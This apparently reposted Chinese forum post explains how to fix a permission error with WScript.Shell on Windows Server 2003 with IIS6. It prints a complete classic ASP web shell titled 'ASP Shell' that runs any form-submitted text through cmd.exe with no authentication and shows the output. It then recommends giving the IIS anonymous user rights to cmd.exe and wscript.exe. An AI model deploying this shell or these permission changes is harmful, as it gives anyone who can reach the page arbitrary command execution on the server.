wscript.shell run 没有权限解决办法
2024-09-01 13:43:26
供稿:网友
今天在把一个客户端的命令行程序弄到服务器上面的时候出现了这个问题。后来几经测试才解决了这个问题。
测试平台:windows server 2003 sp2 + iis6
测试用的代码如下:
<title>ASP Shell</title>
<%@ Language=VBScript CodePage="936"%>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = Server.Mappath(oFileSys.GetTempName( ))
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
在系统根目录下面将cmd.exe和wscript.exe给iuser_xxx机器名权限,给当前文件夹读写权限。然后重启IIS就可以了。